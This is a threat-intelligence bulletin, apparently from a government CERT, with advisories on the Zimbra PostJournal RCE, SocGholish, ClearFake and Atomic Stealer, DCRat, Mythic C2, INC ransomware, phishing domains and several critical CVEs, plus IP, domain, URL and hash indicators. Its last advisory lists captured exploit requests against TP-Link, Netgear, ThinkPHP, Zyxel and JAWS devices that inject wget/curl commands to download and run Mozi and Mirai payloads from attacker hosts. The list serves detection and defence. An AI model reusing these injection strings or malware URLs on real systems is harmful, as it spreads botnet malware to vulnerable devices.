**Cyber Security Advisories**

**Date: 17 October 2024**

1. **VA-2024-10-01-002**

Zimbra has recently released security update for a SMTP-based vulnerability discovered in its PostJournal service. The vulnerability identified as CVE-2024-45519 which allows unauthenticated Remote Command Execution (RCE) on Zimbra Collaboration Suite. This vulnerability arises due to improper sanitization of SMTP input, enabling attackers to craft and inject malicious SMTP messages that execute commands. Successful exploitation of this vulnerability can lead to unauthorized access, privilege escalation, and potential compromise of the affected system's integrity and confidentiality. While the patched version introduces input sanitization and mitigate direct command injection.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

Domains:

IPs:

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2024-10-01-001**

SocGholish is a malware downloader that spreads through drive-by downloads on compromised websites. Drive-by compromise can occur when users can unknowingly download malware from a malicious website or advertisement masquerading as a legitimate one. When users visit these sites, malicious JavaScript executes, often tricking them into believing they need to perform a fake browser update. This script collects information about their browser and system before prompting a download. If users fall for the use and execute the download, Socgholish installs itself on their computer, potentially leading to data theft or further malware infections.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

IP Addresses:

37.1.214.59

162.255.119.169

173.44.141.173

23.95.182.48

77.83.199.153

79.141.173.18

185.33.84.185

185.33.85.42

Domains

kineticrockburgers.com

drmadhurao.com

ipva2024-detransp.com

theaeroescorts.com

southasianfitness.com

simplycosmetics.com

menucore.com

garharcomblog.com

whizability.com

carnivalsale.com

mtpolice2030.com

myoptimasunlab.com

birddogerc.com

moneymoj.com

north-residence.com

chefspavilion.com

notablelibrary.com

theonerealsolution.com

tatemosher.com

swiftflicks.com

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA- APT-2024-10-001**

It has been observed that Salt Typhoon's operations to serve dual purposes: espionage and military pre-positioning. By accessing ISP networks, these attackers can gather vital intelligence on users connected to federal agencies, law enforcement, military contractors, and major corporations. This approach allows them to monitor communications and assess the capabilities of potential targets, enhancing strategic planning for future operations. The situation highlights the critical need for strengthened cybersecurity to safeguard sensitive information.

1. **VA-2024-10-01-001**

Vulnerability in FlashArray Purity

Remote access vulnerability has been discovered in FlashArray Purity.

CVE ID: CVE-2024-0002 (Critical)

Vulnerability in Apex Softcell LD Geo

Missing restrictions for excessive failed authentication attempts vulnerability has been discovered in Apex Softcell LD Geo.

CVE ID: CVE-2024-47088 (Critical)

Vulnerability in Havelsan Inc. Dialogue

Incorrect Permission Assignment for Critical Resource vulnerability has been discovered in Havelsan Inc. Dialogue that allows Accessing Functionality Not Properly Constrained by ACLs. The affected versions are Dialogue: from v1.83 before v1.83.1 or v1.84.

CVE ID: CVE-2024-3375 (Critical)

Vulnerability in Riello Netman 204

A vulnerability has been discovered in the password recovery mechanism for the forgotten password in Riello Netman 204 that allows an attacker to reset the admin password and take over control of the device. The affected versions are Netman 204: through 4.05.

CVE ID: CVE-2024-8878 (Critical)

Vulnerability in Riello Netman 204

SQL Injection vulnerability has been discovered in Riello Netman 204. The affected versions are Netman 204: through 4.05.

CVE ID: CVE-2024-8877 (Critical)

Vulnerability in MyOffice SDK

Server-side request forgery vulnerability has been discovered in New Cloud MyOffice SDK Collaborative Editing Server. The affected versions are MyOffice SDK Collaborative Editing Server 2.2.2 through 2.8.

CVE ID: CVE-2024-47222 (Critical)

Vulnerability in Akana API Platform

XML External Entity (XXE) vulnerability has been discovered in Akana API Platform. The affected versions are Akana API Platform prior to 2024.1.0.

CVE ID: CVE-2024-3930 (Critical)

1. **TA-MAW-2024-10-03-002**

It has been observed that the ClearFake malware family, a JavaScript-based malware distribution framework, is usually leveraging hacked websites to deceive victims into downloading and installing malware on their computers by pretending to be warnings for browser updates.

ClearFake has been observed dropping a variety of commodity and Malware as a Service (MaaS) payloads, including Lumma Stealer/LummaC2, Redline, BitRAT, and AtomicStealer to macOS users. Where, AMOS, or Atomic Stealer, is a family of commercial information-stealing malware which spreads via a malicious operation called "ClearFake," which uses hacked WordPress websites to display phony browser update notifications and fool users into downloading malware that looks like upgrades. The software successfully extracts private data from cryptocurrency wallets and web browsers.

It has been observed that the Atomic Stealer spreads by the following techniques:

a) PowerShell scripts and fraudulent Google advertisements purported to resolve browser problems.

b) Social engineering techniques involving false error messages have been used by threat actors connected to TA571 and ClearFake to trick victims into carrying out malicious command.

c) Distributed through procedures like watering hole attacks, leveraging compromised legitimate websites to initiate drive-by downloads.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

IP Addresses

193.3.19.110

176.59.196.133

Domain

daslkjfhi2.xyz

URLs

https://github.com/BrowserCompanyLLC/-12/releases/download/Tools/RcManager.bat

https://github.com/BrowserCompanyLLC/-12/releases/download/Tools/DTC.hta

https://github.com/BrowserCompanyLLC/-12/releases/download/semtag/Cloud.bat

https://bitbucket.org/holliwoodip/updater/downloads/BrowserUpdate.exe

https://bitbucket.org/shakespeare1/workspace/projects/

https://raw.githubusercontent.com/Romebo/Best/main/zilla.exe

https://redr.me/g3boil

https://redr.me/w0oimp

https://rb.gy/17xscr

https://cutt.ly/teznCIhy

HASHES (SHA256)

9155795606fd3e5d0929cb83439e392447f00ff0f112cf172f65f78edccba172

393b1fdda7c4af084743c56c27585366567a8446c6438753d20b0b9ee3e72541

71c169992a8f98ef38b6ddcc22ca747944db6e047dc080523c1f54d1122dcc9f

f841f59e93bcad3d5ef5c4acceb799dc944a581c21dfa55faa76a7f84eb031bf

e70f33b5022f725663e4da47ce8196fdfb4c45460001a692172c147c4bbbeced

a444e147dd38ee76b4968f772ed67e0ed805de116137621e10acfa93781fe2c8

df1591e1619ad12efdd4c0df07dd26158b9a8b9c8ca06be885879322f7af2f4b

83e858a6a7dc299d6e141f81e1cb11a94c56ccc0853a946ceee2ad9a76a24a72

ae16a7225bcf3ff95e220934f5b99fcde623c389f80b0e48053b6f233884a20e

38f2d360dc5d0a3a3712936eab141017aa1a7c39d1fd3a2b51781e5c561e6bb8

74fb61dc7b6fb2d7793ab9eee02098886b2c451313da2c4ef8db478585c8a8d4

8bc22d5c0ffa3f83cab97c17bf2b1538cdcea956bcb33e13582551e5de423932

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-PHI-2024-10-03-001**

It has been observed that adversaries are targeting government personnel using spoofed/compromised email IDs, malicious domains, Phishing web pages and Vishing techniques. In the recently used phishing tactic, threat actors are sending phishing emails to capture user credentials. Once these credentials are obtained, they perform malicious activities by executing HTTP POST request to the URL: https://api.telegram.org. Attackers are using telegram for channeling the stolen credentials or other sensitive information through telegram. The Telegram application does not need to be installed on the victim's machine for data to be posted to the URL.

In another phishing tactic, attackers are using Webex API to post data from compromised victim machines onto the meeting applications.

The API URL - https://webexapis.com was embedded in the malware spread via spear-phishing emails. Webex is a legitimate tool used for video conferences, messaging, file sharing and device management. Webex application is not required to be installed on the victim's machine for the data to be POST on the URL.

Threat actors are also using below listed popular messaging platforms API endpoints for exfiltrating data on victim's machine.

discord.com

discord.com/api/

api.slack.com

slack.com

api.dropboxapi.com

dropboxapi.com

api.dropbox.com

dropbox.com

oauth2.googleapis.com

Recommendations:

It is recommended that organisations should monitor traffic to the URLs/Domains mentioned above.

All POST requests should be thoroughly examined to assess their legitimacy and to identify any potential connections to phishing or malware activities.

Any unusual patterns, such as excessive data transmission or interactions with the specified domains, should be closely examined.

If any unauthorized POST requests are detected, these should be investigated, and remedial measures should be taken.

1. **TA-MAW-2024-10-03-003**

It has been observed that DarkCrystal Remote Access Trojans (RAT), also known as DCRat, is a backdoor which operates as a Malware-as-a-Service (MaaS). Adversary is associated with various malware families, such as BlackMatter, Cerber, Cobalt Strike, Ficker Stealer, QakBot, REvil, and Ryuk. The malware uses SSL/TLS certificates for its Command and Control (C2) communications. The malware allows threat actors to gain unauthorized access to infected systems and perform various malicious activities such as data theft and system control. The malware can steal information from sources like browser cookies, browser stored passwords, browser stored form content, browser history, stored credit cards (via Windows DPAPI & Chrome SQLite Database), Telegram, Discord tokens, keyloggers, etc.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

IP Address & Ports:

217.15.160.54

159.65.235.56

179.13.4.37

8.217.140.110

194.32.149.186

91.92.254.46

217.15.160.54

179.13.4.37

185.213.25.37

124.221.231.247

51.89.253.9

103.147.185.18

12.187.175.72

45.135.232.38

27.124.45.77

95.179.246.167

103.75.190.47

192.197.113.223

144.91.127.15

51.77.103.216

4.233.193.26

195.33.238.38

123.249.104.74

76.66.229.229

12.202.180.114

45.77.179.49

43.199.93.110

27.124.45.70

8.217.88.225

117.72.74.85

91.92.254.114

171.251.30.8

42.113.255.207

91.92.247.210

217.195.197.55

107.189.171.137

201.191.100.200

188.166.240.231

121.5.112.136

129.204.197.19

1.14.126.22

83.147.38.162

136.244.80.89

103.142.146.12

193.233.203.181

207.246.99.14

195.33.238.39

154.12.47.158

103.243.26.65

4.248.59.179

8.137.98.17

185.117.90.153

209.126.4.168

154.12.93.14

103.186.108.212

42.192.132.36

147.185.221.20

202.162.109.198

54.39.83.175

124.220.49.140

141.223.48.24

20.90.89.160

59.27.223.225

119.91.157.193

46.246.6.13

78.135.83.58

46.246.82.7

121.199.58.53

121.196.235.124

103.17.185.70

203.104.42.92

107.167.92.76

111.230.96.32

94.156.65.202

4.178.137.16

154.216.19.100

76.66.229.226

121.41.177.111

110.41.40.124

182.188.47.2

101.99.92.203

94.124.192.220

39.105.61.159

185.146.88.217

176.96.138.247

HASHES:

2c898cc8d4ed2e67effe5362bf7951143563a965057110d6b803b983e7db3eb5

693e681c06e3b8f374bd5e25daa6c70d4947956f1aa5e1cb7a18f2da0844323f

763c1f21d22b7215d36e2dbd52d141d71d9e540c19f631f63f151c283b91f0d8

60665c8f8ff802fb116a4d761a812911a0cf209e5e56f48fdb566e94cc177c33

DOMAIN

cr87986.tw1.ru

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-APT-2024-10-03-002**

Mythic malware, an advanced, customizable Command and Control (C2) framework, primarily used by adversaries to control and manage malware operations. Malware is a free-to-use, open-source tool which provides cross-platform payload creation options (Linux, macOS, and Windows). With 'plug-n-play' functionality for its various (also open-source) agents, e.g. Apollo (Windows), Poseidon (Linux, macOS), Bloodhound etc., the malware is known for its flexibility. This allows attackers to deploy various plugins and modules tailored to specific objectives.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

IP Addresses:

165.232.118.207

161.35.186.219

159.203.133.189

137.184.211.26

64.23.213.61

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-PHI-2024-10-04-002**

t has been observed that adversaries are targeting government / defence personnel using spoofed / compromised email IDs, malicious domains, Phishing web pages and Vishing techniques.

Please find below malicious domains which are targeting Critical Sector Entities (CIIs).

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

Domains:

www.mof-gov.info

mail.mof-gov.info

crsorgi-gov-in.live

indioapost-gov-in.top

gov-indiapost.cc

mof-gov.info

scigovcourt.com

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-RAN-2024-10-04-001**

It has been observed that the INC Ransomware family, linked to the INC RANSOM threat actor group, has been targeting a variety of sectors. Initial access is gained through first-stage malware loaders, such as Gootloader. This group uses double-extortion tactics. The actors behind INC Ransomware exhibit capabilities like privilege escalation to carry out actions without detection, as well as lateral movement within networks using tools such as AnyDesk.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

HASHES

c41ab33986921c812c51e7a86bd3fd0691f5bba925fae612f1b717afaa2fe0ef

d147b202e98ce73802d7501366a036ea8993c4c06cdfc6921899efdd22d159c6

508a644d552f237615d1504aa1628566fe0e752a5bc0c882fa72b3155c322cef

36e3c83e50a19ad1048dab7814f3922631990578aab0790401bc67dbcc90a72e

fcefe50ed02c8d315272a94f860451bfd3d86fa6ffac215e69dfa26a7a5deced

869d6ae8c0568e40086fd817766a503bfe130c805748e7880704985890aca947

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2024-10-04-004**

Based on analysis, please find below malicious IoCs targeting Critical Information Infrastructures (CII). Consider life span for malicious IP addresses at least 14 days.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IP Addresses:**

83.172.87.147

59.183.122.47

49.142.13.86

103.203.72.234

120.61.9.143

45.115.89.100

220.158.158.176

27.43.206.182

93.123.85.221

61.152.154.48

119.202.158.151

5.59.249.254

123.4.67.14

77.239.218.228

38.205.191.209

103.110.33.164

59.183.116.137

108.62.233.190

136.37.71.110

123.10.139.136

60.49.9.93

103.197.115.20

121.206.165.234

87.120.166.40

38.205.128.222

112.248.114.176

198.105.124.189

103.146.23.249

213.66.44.166

220.158.158.167

27.47.39.83

87.121.112.42

45.142.104.70

117.198.14.77

61.53.87.244

211.137.88.182

139.59.83.153

178.72.88.0

117.193.175.241

113.138.179.199

59.182.78.246

101.108.245.166

58.185.155.70

120.86.238.250

27.122.61.66

61.152.201.176

36.91.151.2

185.191.126.213

195.62.32.138

117.207.255.114

186.209.100.73

185.224.128.67

117.213.22.150

132.147.72.181

116.88.42.201

120.85.117.210

120.85.119.196

92.206.109.129

120.85.112.43

27.202.82.115

77.239.217.16

120.42.248.206

120.85.187.90

27.37.123.39

27.43.204.25

93.123.72.16

27.122.61.166

27.43.206.71

117.245.38.154

211.137.88.183

124.217.251.39

117.222.235.189

61.3.130.242

221.15.31.57

176.97.210.238

77.90.22.55

173.208.45.26

121.41.19.37

117.216.155.175

211.137.88.184

117.247.30.113

117.206.74.210

178.141.137.4

117.202.69.12

119.180.71.198

120.86.237.132

120.85.117.65

124.244.109.152

108.62.3.23

182.96.148.161

89.185.25.143

95.214.55.43

59.89.64.47

219.159.154.246

5.59.249.236

81.180.19.20

117.235.123.56

103.15.254.6

194.36.111.83

27.111.75.108

95.135.156.46

39.81.196.178

93.123.85.105

117.209.41.48

175.107.1.11

103.149.87.69

112.237.78.41

202.170.201.73

24.25.141.252

85.117.241.82

102.33.97.92

47.107.57.163

117.196.164.109

117.208.95.121

23.82.17.111

36.138.7.119

175.107.2.31

103.15.255.201

192.113.100.161

117.212.63.16

117.242.232.146

5.140.82.199

117.254.32.156

117.247.26.26

117.209.88.213

221.229.4.135

117.198.12.130

5.59.248.92

23.19.226.126

117.207.20.162

221.14.13.46

120.86.236.5

120.86.237.93

123.233.130.92

103.199.200.205

182.117.70.4

120.86.238.68

180.94.34.129

117.222.197.178

5.59.249.210

38.205.131.4

103.42.243.142

185.197.30.246

120.148.147.199

211.137.88.181

154.216.19.99

154.213.186.147

175.107.2.44

189.236.16.252

117.72.79.140

120.85.115.25

193.84.71.195

45.230.66.12

113.221.41.151

45.66.231.148

223.149.144.17

117.243.182.93

186.93.154.73

121.206.154.39

38.206.131.20

101.99.74.229

220.158.159.76

120.86.252.195

61.3.141.59

39.90.147.121

45.15.158.37

117.235.115.5

117.235.105.223

117.252.174.154

59.184.247.226

123.131.69.218

216.48.180.234

23.228.72.18

103.14.226.142

85.48.219.40

103.200.86.23

104.168.101.215

223.152.173.185

61.0.211.181

178.72.68.12

77.239.214.226

157.173.104.92

117.211.41.211

175.107.2.36

222.138.17.75

122.97.214.242

120.85.119.129

45.230.66.48

113.239.203.106

61.3.12.181

117.235.3.143

122.97.136.187

103.200.87.136

219.150.88.234

50.3.182.152

45.232.215.144

51.250.112.172

117.209.13.40

117.213.82.214

211.137.88.180

117.235.112.160

5.59.248.127

112.248.112.128

220.158.159.245

112.248.184.245

112.238.211.228

113.138.176.31

113.230.233.59

31.220.1.144

85.190.243.5

125.46.135.227

154.216.17.176

117.248.165.235

115.50.103.23

120.85.112.188

117.213.242.169

102.51.2.177

103.208.233.221

182.117.31.225

45.230.66.153

**URLs:-**

http://117.235.115.5:34937/Mozi.m

http://213.66.44.166:54161/Mozi.m

http://59.183.116.137:44503/Mozi.m

http://45.142.104.70/Yboats.x86

http://136.37.71.110:59679/Mozi.m

http://45.15.158.37/r

http://176.97.210.238/shk

http://120.61.9.143:44194/Mozi.m

http://120.148.147.199:43517/Mozi.a

http://103.146.23.249/

http://117.196.164.109:33768/Mozi.m

http://117.235.3.143:52950/Mozi.m

http://45.15.158.37/chmod

http://103.14.226.142/shk

http://59.183.122.47:38058/Mozi.m

http://5.59.248.92/mips

http://39.90.147.121:59319/Mozi.m

http://113.138.179.199:45248/Mozi.m

http://221.14.13.46:41099/Mozi.m

http://117.251.87.80/shell?cd+/tmp;rm+-rf+\*;wget+http://117.222.197.178:49978/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws

http://87.120.166.40/bins/x86

http://192.113.100.161:35388/Mozi.m

http://117.211.41.211:37671/Mozi.m

http://112.237.78.41:57564/Mozi.m

http://bins.rootwho.su/sshdbot

http://104.168.101.215/sh

http://103.146.23.249/t

http://220.158.159.76:49962/Mozi.m

http://87.121.112.42/wget.sh

http://61.53.87.244:58723/Mozi.m

http://93.123.72.16/Ft

http://103.110.33.164/mips

http://117.209.41.48:33787/Mozi.m

http://117.198.12.130:58365/Mozi.m

http://117.207.255.114:43889/Mozi.m

http://117.209.88.213:56202/Mozi.m

http://59.184.247.226:53760/Mozi.m

http://117.247.26.26:45365/Mozi.a

http://219.159.154.246:51654/Mozi.m

http://117.252.174.154:36181/Mozi.m

http://103.200.87.136:33801/Mozi.m

http://123.4.67.14:39639/Mozi.m

http://117.209.13.40:40517/Mozi.m

http://24.25.141.252:36783/Mozi.a;chmod

http://45.230.66.48:10940/Mozi.m

http://45.230.66.12:11657/Mozi.m

http://5.59.249.236/bins/x86

http://59.182.78.246:36558/Mozi.m

http://27.202.82.115:46410/Mozi.m

http://101.108.245.166:37672/Mozi.m

http://112.248.114.176:38883/Mozi.m

http://45.230.66.153:11579/Mozi.m

http://103.200.86.23:41542/Mozi.m

http://117.198.14.77:41709/Mozi.m

http://117.206.74.210:44774/Mozi.m

http://5.140.82.199:53274/Mozi.m

http://103.197.115.20:58378/Mozi.m

http://182.117.70.4:38286/Mozi.m

http://61.3.141.59:39544/Mozi.m

http://45.66.231.148/r

http://27.37.123.39:33223/Mozi.m

http://178.141.137.4:58621/Mozi.m

http://102.51.2.177:34281/Mozi.m

http://117.235.105.223:45932/Mozi.m

http://117.222.197.178:49978/Mozi.a

http://45.66.231.148/

http://154.216.19.99/t

http://117.235.112.160:55250/Mozi.m

http://117.245.38.154:56686/Mozi.m

http://182.117.31.225:39016/Mozi.m

http://117.213.22.150:45067/Mozi.m

http://117.202.69.12:34534/Mozi.m

http://112.248.184.245:37696/Mozi.a;chmod

http://123.10.139.136:54333/Mozi.m

http://23.228.72.18/link

http://39.81.196.178:49040/Mozi.m

http://117.242.232.146:58855/Mozi.m

http://124.247.204.80/cgi-bin/luci/;stok=/locale?form=country&amp;operation=write&amp;country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F45.66.231.148%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60)

http://61.3.12.181:43889/Mozi.m

http://77.90.22.55/mips

http://123.233.130.92:57692/Mozi.m

http://117.193.175.241:35866/Mozi.m

http://45.115.89.100:38598/Mozi.m

http://61.0.211.181:33670/Mozi.m

http://117.212.63.16:58425/Mozi.m

http://193.84.71.195/bins/x86

http://117.251.87.80/cgi-bin/luci/;stok=/locale?form=country&amp;amp;operation=write&amp;amp;country=$(id%3E%60cd+/tmp;+rm+-rf+shk;+wget+http://103.14.226.142/shk;+chmod+777+shk;+./shk+tplink;+rm+-rf+shk%60)

http://113.221.41.151:34590/Mozi.a

http://117.208.95.121:43951/Mozi.m

http://117.247.30.113:60207/Mozi.m

http://27.111.75.108:38559/Mozi.m

http://103.149.87.69/t

http://115.50.103.23:41535/Mozi.m

http://117.248.165.235:48144/Mozi.m

http://104.168.101.215/t

http://61.152.154.48:57525/Mozi.a

http://186.93.154.73:40877/Mozi.m

http://125.46.135.227:36182/Mozi.m

http://117.216.155.175:35821/Mozi.m

http://172.20.25.210/login.cgi?cli=aa%20aa%27;cd%20%2Ftmp%20%7C%7C%20cd%20%2Fvar%2Frun%20%7C%7C%20cd%20%2Fmnt%20%7C%7C%20cd%20%2Froot%20%7C%7C%20cd%20%2F%3B%20wget%20http%3A%2F%2F195.62.32.138%2Fmiraigg.sh%3B%20curl%20-O%20http%3A%2F%2F195.62.32.138%2Fmiraigg.sh%3B%20chmod%20777%20miraigg.sh%3B%20sh%20miraigg.sh%3B%20tftp%20195.62.32.138%20-c%20get%20miraigg.sh%3B%20chmod%20777%20miraigg.sh%3B%20sh%20miraigg.sh%3B%20tftp%20-r%20miraigg2.sh%20-g%20195.62.32.138%3B%20chmod%20777%20miraigg2.sh%3B%20sh%20mirai

http://113.230.233.59:44078/Mozi.m

http://220.158.158.167:50741/Mozi.m

http://117.243.182.93:47980/Mozi.m

http://61.3.130.242:58169/Mozi.m

http://117.213.82.214:34364/Mozi.m

http://123.131.69.218:58561/Mozi.m

http://104.168.101.215/

http://222.138.17.75:33294/Mozi.m

http://154.216.17.176/t

http://117.254.32.156:43650/Mozi.m

http://95.135.156.46:56822/Mozi.m

http://117.235.123.56:40317/Mozi.m

http://117.222.235.189:32966/Mozi.m

http://113.239.203.106:33466/Mozi.m

http://5.59.248.127/bins/x86

http://103.149.87.69/Ft

http://154.216.19.99/

http://117.213.242.169:56466/Mozi.m

http://50.3.182.152/shk

http://154.216.17.176/

http://117.207.20.162:47194/Mozi.a

http://119.180.71.198:51967/Mozi.m

http://112.248.112.128:36686/Mozi.m

http://93.123.85.221/miraigg.sh

http://124.247.204.80/cgi-bin/luci/;stok=/locale?form=country&amp;operation=write&amp;country=$(id%3e%60cd+/tmp;+rm+-rf+sshdbot;+wget+http://50.3.182.152/shk+-O+sshdbot;+chmod+777+sshdbot;+./sshdbot+tplink;+rm+-rf+sshdbot%60)

http://59.89.64.47:50185/Mozi.m

http://102.33.97.92:57215/Mozi.m

http://195.62.32.138/miraigg.sh

http://112.238.211.228:55898/Mozi.m

http://175.107.1.11:48315/Mozi.m

http://103.203.72.234:56403/Mozi.m

http://220.158.159.245:42327/Mozi.m

http://5.59.249.254/bins/x86

http://5.59.249.210/bins/x86

**Signatures:**

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F45.15.158.37%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60)

/index.php?s=/index/#011hink#007pp/invokefunction&function=call\_user\_func\_array&vars[0]=shell\_exec&vars[1][]='wget http://5.59.249.210/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp

/login.cgi?

cli=aa%20aa%27;cd%20%2Ftmp%20%7C%7C%20cd%20%2Fvar%2Frun%20%7C%7C%20cd%20%2Fmnt%20%7C%7C%20cd%20%2Froot%20%7C%7C%20cd%20%2F%3B%20wget%20http%3A%2F%2F195.62.32.138%2Fmiraigg.sh%3B%20curl%20-O%20http%3A%2F%2F195.62.32.138%2Fmiraigg.sh%3B%20chmod%20

/setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://117.243.182.93:47980/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

/shell?cd+/tmp;rm+-rf+\*;wget+http://120.148.147.199:43517/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws

http://117.251.87.80/cgi-bin/luci/;stok=/locale?form=country&amp;amp;operation=write&amp;amp;country=$(id%3E%60cd+/tmp;+rm+-rf+shk;+wget+http://103.14.226.142/shk;+chmod+777+shk;+./shk+tplink;+rm+-rf+shk%60)

/setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://45.230.66.12:11657/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

/setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://115.50.103.23:41535/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

/shell?cd+/tmp;rm+-rf+\*;wget+http://112.248.184.245:37696/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws

http://124.247.204.80/cgi-bin/luci/;stok=/locale?form=country&amp;operation=write&amp;country=$(id%3e%60cd+/tmp;+rm+-rf+sshdbot;+wget+http://50.3.182.152/shk+-O+sshdbot;+chmod+777+sshdbot;+./sshdbot+tplink;+rm+-rf+sshdbot%60)

/index.php?s=/index/#011hink#007pp/invokefunction&function=call\_user\_func\_array&vars[0]=shell\_exec&vars[1][]='wget http://5.59.249.236/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp

http://117.251.87.80/shell?cd+/tmp;rm+-rf+\*;wget+http://117.222.197.178:49978/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+-O-+http%3A%2F%2F154.216.19.99%2Ft%7Csh%3B%60)

/index.php?s=/index/#011hink#007pp/invokefunction&function=call\_user\_func\_array&vars[0]=shell\_exec&vars[1][]='wget http://87.120.166.40/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp

/shell?cd+/tmp;rm+-rf+\*;wget+http://61.152.154.48:57525/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws

/setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://61.3.130.242:58169/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

/setup.cgi?next\_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/\*;wget+http://39.81.196.178:49040/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1

/bin/zhttpd/${IFS}cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}\*;${IFS}wget${IFS}http://77.90.22.55/mips;${IFS}chmod${IFS}777${IFS}mips;${IFS}./mips${IFS}zyxel.selfrep;

